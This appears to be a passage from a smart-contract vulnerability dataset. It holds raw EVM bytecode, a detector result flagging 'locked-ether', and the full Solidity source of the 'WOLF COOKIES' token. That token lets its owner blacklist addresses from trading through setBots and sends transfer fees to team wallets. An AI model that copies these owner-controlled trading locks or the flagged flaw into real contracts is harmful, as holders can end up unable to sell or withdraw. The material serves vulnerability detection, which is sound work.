50505050565b34156103ef57600080fd5b610204600160a060020a0360043516602435610d91565b341561041157600080fd5b610253600160a060020a0360043516610e8d565b341561043057600080fd5b610253610ea8565b341561044357600080fd5b61044b610eb0565b604051600160a060020a03909116815260200160405180910390f35b341561047257600080fd5b61016b610ebf565b341561048557600080fd5b610253610ef6565b341561049857600080fd5b610204600160a060020a0360043516602435610efb565b34156104ba57600080fd5b610253610fe4565b34156104cd57600080fd5b61022b610ff4565b34156104e057600080fd5b61025361114d565b34156104f357600080fd5b610204600160a060020a0360043516602435611152565b341561051557600080fd5b610253600160a060020a03600435811690602435166111f6565b341561053a57600080fd5b61022b600160a060020a0360043516611221565b60408051908101604052600981527f4e617669546f6b656e0000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600080600080600080610602610895565b151561060d57600080fd5b6006610617610a23565b039550601e86111561062857601e95505b600094505b60045485101561080457600480548690811061064557fe5b6000918252602080832090910154600160a060020a031680835260068252604080842054600590935290922054919550610685919063ffffffff6112bc16565b92506106a8601e61069c888663ffffffff6112d216565b9063ffffffff6112fd16565b600160a060020a0385166000908152600660205260409020549092506106d590839063ffffffff61131416565b905060008111156107f957600160a060020a038416600090815260056020526040902054610709908263ffffffff61131416565b600160a060020a03851660009081526005602090815260408083209390935560069052205461073e908263ffffffff6112bc16565b600160a060020a038516600090815260066020908152604080832093909355600190522054610773908263ffffffff6112bc16565b600160a060020a0385166000818152600160205260408082209390935590916000805160206113648339815191529084905190815260200160405180910390a3600160a060020a0384167fc4d614698c4762f338e3f9ac358275735a75de28d703d673a3cd5f187274786182600160405191825260208201526040908101905180910390a25b60019094019361062d565b505050505050565b60095460ff1681565b60005481565b60035433600160a060020a0390811691161461083657600080fd5b60095460ff161561084657600080fd5b6002610850610a23565b1061085a57600080fd5b6009805460ff191660011790557f188c2d9c7bd756262568872079091ed4954e864843f02ca1010cf91f2d2954c860405160405180910390a1565b600060066108a1610a23565b1190505b90565b6000600160a060020a03831615156108bf57600080fd5b600160a060020a0384166000908152600160205260409020548211156108e457600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561091757600080fd5b600160a060020a038416600090815260016020526040902054610940908363ffffffff61131416565b600160a060020a038086166000908152600160205260408082209390935590851681522054610975908363ffffffff6112bc16565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546109bd908363ffffffff61131416565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206113648339815191529085905190815260200160405180910390a35060019392505050565b601281565b61a8c081565b6000635a980760421115610a455761a8c0603c42635a98075f19010404610a48565b60005b905090565b60006006610a59610a23565b1015905090565b60035460009081908190819033600160a060020a03908116911614610a8457600080fd5b60095460ff1615610a9457600080fd5b6002610a9e610a23565b10610aa857600080fd5b85518751148015610aba575084518751145b1515610ac557600080fd5b600093505b8651841015610d8857868481518110610adf57fe5b906020019060200201519250858481518110610af757fe5b906020019060200201519150848481518110610b0f57fe5b90602001906020020151600054909150610b2f908363ffffffff6112bc16565b60008190556b033b2e3c9fd0803ce8000000901115610b4d57600080fd5b6000816002811115610b5b57fe5b1415610bcf57600160a060020a038316600090815260016020526040902054610b8a908363ffffffff6112bc16565b600160a060020a0384166000818152600160205260408082209390935590916000805160206113648339815191529085905190815260200160405180910390a3610d7d565b6001816002811115610bdd57fe5b1415610ca8576004805460018101610bf58382611326565b506000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091558252600590526040902054610c4290836112bc565b600160a060020a0384166000818152600560205260409020919091557f844c5bab255ca5d9cfba48ca0d49d19262e7b00c6068735f8c5b428db7fb8a0683836002811115610c8c57fe5b60405191825260208201526040908101905180910390a2610d7d565b6002816002811115610cb657fe5b1415610d7d576007805460018101610cce8382611326565b506000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091558252600890526040902054610d1b90836112bc565b600160a060020a0384166000818152600860205260409020919091557f844c5bab255ca5d9cfba48ca0d49d19262e7b00c6068735f8c5b428db7fb8a0683836002811115610d6557fe5b60405191825260208201526040908101905180910390a25b600190930192610aca565b50505050505050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610dee57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610e25565b610dfe818463ffffffff61131416565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b635a98076081565b600354600160a060020a031681565b60408051908101604052600481527f4e41564900000000000000000000000000000000000000000000000000000000602082015281565b600681565b6000600160a060020a0383161515610f1257600080fd5b600160a060020a033316600090815260016020526040902054821115610f3757600080fd5b600160a060020a033316600090815260016020526040902054610f60908363ffffffff61131416565b600160a060020a033381166000908152600160205260408082209390935590851681522054610f95908363ffffffff6112bc16565b600160a060020a0380851660008181526001602052604090819020939093559133909116906000805160206113648339815191529085905190815260200160405180910390a350600192915050565b6b033b2e3c9fd0803ce800000081565b6000806000611001610a4d565b151561100c57600080fd5b600092505b60075483101561114857600780548490811061102957fe5b6000918252602080832090910154600160a060020a031680835260089091526040822054909350915081111561113d57600160a060020a038216600090815260016020526040902054611082908263ffffffff6112bc16565b600160a060020a0383166000908152600160209081526040808320939093556008905220546110b7908263ffffffff61131416565b600160a060020a0383166000818152600860205260408082209390935590916000805160206113648339815191529084905190815260200160405180910390a3600160a060020a0382167fc4d614698c4762f338e3f9ac358275735a75de28d703d673a3cd5f187274786182600260405191825260208201526040908101905180910390a25b600190920191611011565b505050565b601e81565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461118a908363ffffffff6112bc16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461123c57600080fd5b600160a060020a038116151561125157600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828201838110156112cb57fe5b9392505050565b6000808315156112e55760009150610e86565b508282028284828115156112f557fe5b04146112cb57fe5b600080828481151561130b57fe5b04949350505050565b60008282111561132057fe5b50900390565b815481835581811511611148576000838152602090206111489181019083016108a591905b8082111561135f576000815560010161134b565b50905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058205e158f3d183a0a838809585df66ade49539d6eaad1831cfc6f642b6f95599a570029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,007 |
0x80b9c7a96a6660c2c7f48ea0e7875fb39efbaca8
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-27
*/
/*
WOLF COOKIES
http://t.me/wolfcookies
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WOOKIES is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "WOLF COOKIES";
string private constant _symbol = 'WOOKIES \xF0\x9F\x8D\xAA';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf9146104a7578063d543dbeb146104bc578063dd62ed3e146104e657610134565b8063b515566a146103e2578063c3c8cd801461049257610134565b8063715018a61461034e5780638da5cb5b1461036357806395d89b4114610394578063a9059cbb146103a957610134565b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102da5780636fc3eaec1461030657806370a082311461031b57610134565b8063273123b71461027a578063313ce567146102af57610134565b806306fdde0314610139578063095ea7b3146101c357806318160ddd1461021057806323b872dd1461023757610134565b3661013457005b600080fd5b34801561014557600080fd5b5061014e610521565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b506101fc600480360360408110156101e657600080fd5b506001600160a01b038135169060200135610558565b604080519115158252519081900360200190f35b34801561021c57600080fd5b50610225610576565b60408051918252519081900360200190f35b34801561024357600080fd5b506101fc6004803603606081101561025a57600080fd5b506001600160a01b03813581169160208101359091169060400135610583565b34801561028657600080fd5b506102ad6004803603602081101561029d57600080fd5b50356001600160a01b031661060a565b005b3480156102bb57600080fd5b506102c46106b3565b6040805160ff9092168252519081900360200190f35b3480156102e657600080fd5b506102ad600480360360208110156102fd57600080fd5b503515156106b8565b34801561031257600080fd5b506102ad61076f565b34801561032757600080fd5b506102256004803603602081101561033e57600080fd5b50356001600160a01b03166107a3565b34801561035a57600080fd5b506102ad61080d565b34801561036f57600080fd5b506103786108d9565b604080516001600160a01b039092168252519081900360200190f35b3480156103a057600080fd5b5061014e6108e8565b3480156103b557600080fd5b506101fc600480360360408110156103cc57600080fd5b506001600160a01b03813516906020013561091f565b3480156103ee57600080fd5b506102ad6004803603602081101561040557600080fd5b81019060208101813564010000000081111561042057600080fd5b82018360208201111561043257600080fd5b8035906020019184602083028401116401000000008311171561045457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610933945050505050565b34801561049e57600080fd5b506102ad610a17565b3480156104b357600080fd5b506102ad610a54565b3480156104c857600080fd5b506102ad600480360360208110156104df57600080fd5b5035610f8c565b3480156104f257600080fd5b506102256004803603604081101561050957600080fd5b506001600160a01b03813581169160200135166110a3565b60408051808201909152600c81527f574f4c4620434f4f4b4945530000000000000000000000000000000000000000602082015290565b600061056c6105656110ce565b84846110d2565b5060015b92915050565b683635c9adc5dea0000090565b60006105908484846111be565b6106008461059c6110ce565b6105fb85604051806060016040528060288152602001612308602891396001600160a01b038a166000908152600460205260408120906105da6110ce565b6001600160a01b0316815260208101919091526040016000205491906115ed565b6110d2565b5060019392505050565b6106126110ce565b6000546001600160a01b03908116911614610674576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0316600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600990565b6106c06110ce565b6000546001600160a01b03908116911614610722576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6013805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6010546001600160a01b03166107836110ce565b6001600160a01b03161461079657600080fd5b476107a081611684565b50565b6001600160a01b03811660009081526006602052604081205460ff16156107e357506001600160a01b038116600090815260036020526040902054610808565b6001600160a01b03821660009081526002602052604090205461080590611709565b90505b919050565b6108156110ce565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031690565b60408051808201909152600c81527f574f4f4b49455320f09f8daa0000000000000000000000000000000000000000602082015290565b600061056c61092c6110ce565b84846111be565b61093b6110ce565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a13576001600760008484815181106109bb57fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790556001016109a0565b5050565b6010546001600160a01b0316610a2b6110ce565b6001600160a01b031614610a3e57600080fd5b6000610a49306107a3565b90506107a081611769565b610a5c6110ce565b6000546001600160a01b03908116911614610abe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60135474010000000000000000000000000000000000000000900460ff1615610b2e576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b8f9030906001600160a01b0316683635c9adc5dea000006110d2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6020811015610bf257600080fd5b5051604080517fad5c464800000000000000000000000000000000000000000000000000000000815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c5b57600080fd5b505afa158015610c6f573d6000803e3d6000fd5b505050506040513d6020811015610c8557600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b505050506040513d6020811015610d1957600080fd5b5051601380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039283161790556012541663f305d7194730610d63816107a3565b600080610d6e6108d9565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b50505050506040513d6060811015610e0457600080fd5b505060138054673afb087b876900006014557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff9092167601000000000000000000000000000000000000000000001791909116770100000000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790819055601254604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b505050565b610f946110ce565b6000546001600160a01b03908116911614610ff6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000811161104b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6110696064611063683635c9adc5dea00000846119b1565b90611a0a565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166111175760405162461bcd60e51b815260040180806020018281038252602481526020018061